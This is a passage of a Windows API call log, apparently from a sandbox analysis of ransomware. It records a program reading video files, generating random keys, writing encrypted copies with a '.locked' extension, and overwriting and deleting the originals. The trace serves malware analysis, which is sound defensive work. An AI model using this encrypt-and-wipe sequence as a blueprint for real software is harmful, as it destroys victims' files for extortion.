	[0082.034] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.034] SetEvent (hEvent=0x78) returned 1
	[0082.034] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.034] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.035] SetEvent (hEvent=0x78) returned 1
	[0082.035] SetEvent (hEvent=0x80) returned 1
	[0082.035] SetEvent (hEvent=0x8c) returned 1
	[0082.035] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.035] SetEvent (hEvent=0x8c) returned 1
	[0082.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\Awk-CL9pQOKWPp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\awk-cl9pqokwpp.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.036] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0082.036] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0082.053] CloseHandle (hObject=0xc0) returned 1
	[0082.053] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\Awk-CL9pQOKWPp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\awk-cl9pqokwpp.mkv")) returned 1
	[0082.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\H MVL9gb.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\h mvl9gb.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x586fcc80, ftCreationTime.dwHighDateTime=0x1d4c667, ftLastAccessTime.dwLowDateTime=0x9420cbc0, ftLastAccessTime.dwHighDateTime=0x1d4ca87, ftLastWriteTime.dwLowDateTime=0x9420cbc0, ftLastWriteTime.dwHighDateTime=0x1d4ca87, nFileSizeHigh=0x0, nFileSizeLow=0x15901)) returned 1
	[0082.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\H MVL9gb.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\h mvl9gb.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.057] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0082.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\H MVL9gb.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\h mvl9gb.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0082.057] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0082.058] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0082.058] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0082.058] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0082.058] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0082.060] SetEvent (hEvent=0x80) returned 1
	[0082.060] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x15901, lpOverlapped=0x0) returned 1
	[0082.062] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x15901, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x15901, lpOverlapped=0x0) returned 1
	[0082.064] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0082.064] CloseHandle (hObject=0xc4) returned 1
	[0082.064] CloseHandle (hObject=0xc0) returned 1
	[0082.064] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.065] SetEvent (hEvent=0x80) returned 1
	[0082.065] SetEvent (hEvent=0x8c) returned 1
	[0082.065] SetEvent (hEvent=0x78) returned 1
	[0082.065] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.065] SetEvent (hEvent=0x78) returned 1
	[0082.065] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee7d8*=0x4f) returned 1
	[0082.066] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\H MVL9gb.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\h mvl9gb.mkv")) returned 1
	[0082.084] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.085] SetEvent (hEvent=0xa8) returned 1
	[0082.085] SetEvent (hEvent=0x8c) returned 1
	[0082.089] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.089] SetEvent (hEvent=0x8c) returned 1
	[0082.089] SetEvent (hEvent=0x78) returned 1
	[0082.089] SetEvent (hEvent=0x80) returned 1
	[0082.090] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.090] SetEvent (hEvent=0x80) returned 1
	[0082.091] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.092] SetEvent (hEvent=0x80) returned 1
	[0082.092] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.092] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.092] SetEvent (hEvent=0x80) returned 1
	[0082.092] SetEvent (hEvent=0x78) returned 1
	[0082.092] SetEvent (hEvent=0x8c) returned 1
	[0082.092] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.093] SetEvent (hEvent=0x8c) returned 1
	[0082.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\H MVL9gb.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\h mvl9gb.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.093] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0082.094] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0082.110] CloseHandle (hObject=0xc0) returned 1
	[0082.110] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\H MVL9gb.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\h mvl9gb.mkv")) returned 1
	[0082.113] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\IabIZCHomyq eh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\iabizchomyq eh.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb02790, ftCreationTime.dwHighDateTime=0x1d4cc2e, ftLastAccessTime.dwLowDateTime=0xe5bbd030, ftLastAccessTime.dwHighDateTime=0x1d4d4e4, ftLastWriteTime.dwLowDateTime=0xe5bbd030, ftLastWriteTime.dwHighDateTime=0x1d4d4e4, nFileSizeHigh=0x0, nFileSizeLow=0x6a7d)) returned 1
	[0082.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\IabIZCHomyq eh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\iabizchomyq eh.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.114] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0082.114] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\IabIZCHomyq eh.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\iabizchomyq eh.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0082.114] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0082.114] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0082.114] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0082.114] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0082.114] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0082.116] SetEvent (hEvent=0x78) returned 1
	[0082.117] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x6a7d, lpOverlapped=0x0) returned 1
	[0082.118] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x6a7d, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x6a7d, lpOverlapped=0x0) returned 1
	[0082.119] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0082.119] CloseHandle (hObject=0xc4) returned 1
	[0082.119] CloseHandle (hObject=0xc0) returned 1
	[0082.119] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.120] SetEvent (hEvent=0x78) returned 1
	[0082.120] SetEvent (hEvent=0x8c) returned 1
	[0082.120] SetEvent (hEvent=0x80) returned 1
	[0082.120] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.120] SetEvent (hEvent=0x80) returned 1
	[0082.120] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x55, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee7d8*=0x55) returned 1
	[0082.121] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\IabIZCHomyq eh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\iabizchomyq eh.mkv")) returned 1
	[0082.140] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.140] SetEvent (hEvent=0xa8) returned 1
	[0082.140] SetEvent (hEvent=0x8c) returned 1
	[0082.146] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.146] SetEvent (hEvent=0x8c) returned 1
	[0082.146] SetEvent (hEvent=0x80) returned 1
	[0082.146] SetEvent (hEvent=0x78) returned 1
	[0082.146] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.146] SetEvent (hEvent=0x78) returned 1
	[0082.148] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.148] SetEvent (hEvent=0x78) returned 1
	[0082.149] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.149] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.149] SetEvent (hEvent=0x78) returned 1
	[0082.149] SetEvent (hEvent=0x80) returned 1
	[0082.149] SetEvent (hEvent=0x8c) returned 1
	[0082.149] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.149] SetEvent (hEvent=0x8c) returned 1
	[0082.149] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\IabIZCHomyq eh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\iabizchomyq eh.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.150] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0082.150] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0082.180] CloseHandle (hObject=0xc0) returned 1
	[0082.180] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\IabIZCHomyq eh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\iabizchomyq eh.mkv")) returned 1
	[0082.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\chht4FNo-EFAeXK6aKrD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\chht4fno-efaexk6akrd.mp4"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf389e0, ftCreationTime.dwHighDateTime=0x1d4d42a, ftLastAccessTime.dwLowDateTime=0x716c80e0, ftLastAccessTime.dwHighDateTime=0x1d4d07e, ftLastWriteTime.dwLowDateTime=0x716c80e0, ftLastWriteTime.dwHighDateTime=0x1d4d07e, nFileSizeHigh=0x0, nFileSizeLow=0x16f78)) returned 1
	[0082.183] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\chht4FNo-EFAeXK6aKrD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\chht4fno-efaexk6akrd.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.184] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0082.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\chht4FNo-EFAeXK6aKrD.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\chht4fno-efaexk6akrd.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0082.184] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0082.185] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0082.185] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0082.185] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0082.185] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0082.187] SetEvent (hEvent=0x80) returned 1
	[0082.187] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x16f78, lpOverlapped=0x0) returned 1
	[0082.190] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x16f78, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x16f78, lpOverlapped=0x0) returned 1
	[0082.191] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0082.191] CloseHandle (hObject=0xc4) returned 1
	[0082.191] CloseHandle (hObject=0xc0) returned 1
	[0082.192] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.192] SetEvent (hEvent=0x80) returned 1
	[0082.192] SetEvent (hEvent=0x8c) returned 1
	[0082.192] SetEvent (hEvent=0x78) returned 1
	[0082.192] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.192] SetEvent (hEvent=0x78) returned 1
	[0082.193] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12408000*, nNumberOfCharsToWrite=0x5b, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12408000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5b) returned 1
	[0082.194] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\chht4FNo-EFAeXK6aKrD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\chht4fno-efaexk6akrd.mp4")) returned 1
	[0082.212] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.212] SetEvent (hEvent=0xa8) returned 1
	[0082.212] SetEvent (hEvent=0x8c) returned 1
	[0082.216] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.217] SetEvent (hEvent=0x8c) returned 1
	[0082.217] SetEvent (hEvent=0x78) returned 1
	[0082.217] SetEvent (hEvent=0x80) returned 1
	[0082.217] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.217] SetEvent (hEvent=0x80) returned 1
	[0082.219] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.219] SetEvent (hEvent=0x80) returned 1
	[0082.219] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.220] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.220] SetEvent (hEvent=0x80) returned 1
	[0082.220] SetEvent (hEvent=0x78) returned 1
	[0082.220] SetEvent (hEvent=0x8c) returned 1
	[0082.220] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.220] SetEvent (hEvent=0x8c) returned 1
	[0082.220] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\chht4FNo-EFAeXK6aKrD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\chht4fno-efaexk6akrd.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.221] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0082.221] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0082.237] CloseHandle (hObject=0xc0) returned 1
	[0082.237] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\tiuceb-k93k5 lGWnCN\\chht4FNo-EFAeXK6aKrD.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\tiuceb-k93k5 lgwncn\\chht4fno-efaexk6akrd.mp4")) returned 1
	[0082.240] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\xFzbLSmDcbxo.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\xfzblsmdcbxo.avi"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937cd6b0, ftCreationTime.dwHighDateTime=0x1d4ca9f, ftLastAccessTime.dwLowDateTime=0x50419690, ftLastAccessTime.dwHighDateTime=0x1d4d37f, ftLastWriteTime.dwLowDateTime=0x50419690, ftLastWriteTime.dwHighDateTime=0x1d4d37f, nFileSizeHigh=0x0, nFileSizeLow=0x94ae)) returned 1
	[0082.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\xFzbLSmDcbxo.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\xfzblsmdcbxo.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.240] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0082.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\xFzbLSmDcbxo.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\xfzblsmdcbxo.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0082.241] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0082.241] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0082.241] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0082.241] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0082.241] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0082.243] SetEvent (hEvent=0x78) returned 1
	[0082.243] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x94ae, lpOverlapped=0x0) returned 1
	[0082.245] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x94ae, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x94ae, lpOverlapped=0x0) returned 1
	[0082.246] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0082.246] CloseHandle (hObject=0xc4) returned 1
	[0082.246] CloseHandle (hObject=0xc0) returned 1
	[0082.246] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.247] SetEvent (hEvent=0x78) returned 1
	[0082.247] SetEvent (hEvent=0x8c) returned 1
	[0082.247] SetEvent (hEvent=0x80) returned 1
	[0082.247] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.247] SetEvent (hEvent=0xa8) returned 1
	[0082.247] SetEvent (hEvent=0x80) returned 1
	[0082.247] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3f) returned 1
